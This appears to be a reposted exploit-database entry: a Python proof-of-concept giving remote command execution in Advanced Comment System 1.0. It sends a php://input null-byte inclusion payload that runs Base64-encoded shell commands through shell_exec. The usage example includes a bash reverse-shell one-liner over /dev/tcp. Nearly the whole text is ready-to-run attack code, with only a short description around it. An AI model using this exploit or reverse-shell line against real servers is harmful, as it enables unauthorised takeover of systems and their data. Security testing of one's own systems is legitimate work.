Friday, December 3, 2021

Advanced Comment System 1.0 Remote Command Execution

# Exploit Title: Advanced Comment System 1.0 - Remote Command Execution (RCE)
# Date: November 30, 2021
# Exploit Author: Nicole Daniella Murillo Mejias
# Version: Advanced Comment System 1.0
# Tested on: Linux

#!/usr/bin/env python3

# DESCRIPTION:
# Commands are Base64 encoded and sent via POST requests to the vulnerable application, the
# response is filtered by the randomly generated alphanumeric string and only command output
# is displayed.
#
# USAGE:
# Execute the script and pass the command to execute as arguments, they can be quoted or unquoted
# If any special characters are used, they should be quoted with single quotes.
#
# Example:
#
# python3 acspoc.py uname -a
# python3 acspoc.py 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

import sys
import base64
import requests
import random

def generate_string(size):
str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return ''.join(random.choice(str) for i in range(size))

def exploit(cmd):

# TODO: Change the URL to the target host
url = 'http://127.0.0.1/advanced_comment_system/index.php'

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

encoded_cmd = base64.b64encode(cmd)

delimiter = generate_string(6).encode()

body = b'ACS_path=php://input%00&cbcmd='
body += encoded_cmd
body += b'&<?php echo " '
body += delimiter
body += b': ".shell_exec(base64_decode($_REQUEST["cbcmd"])); die ?>'

try:
result = requests.post(url=url, headers=headers, data=body)
except KeyboardInterrupt:
print("Keyboard interrupt detected.")
sys.exit()

if f'{delimiter.decode()}: ' in result.text:
position = result.text.find(f"{delimiter.decode()}:") + len(f"{delimiter.decode()}: ")

if len(result.text[position:]) > 0:
print(result.text[position:])
else:
print(f"No output from command '{cmd.decode()}'")
print(f"Response size from target host: {len(result.text)} bytes")

if __name__ == "__main__":
exploit(' '.join(sys.argv[1:]).encode())

 

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore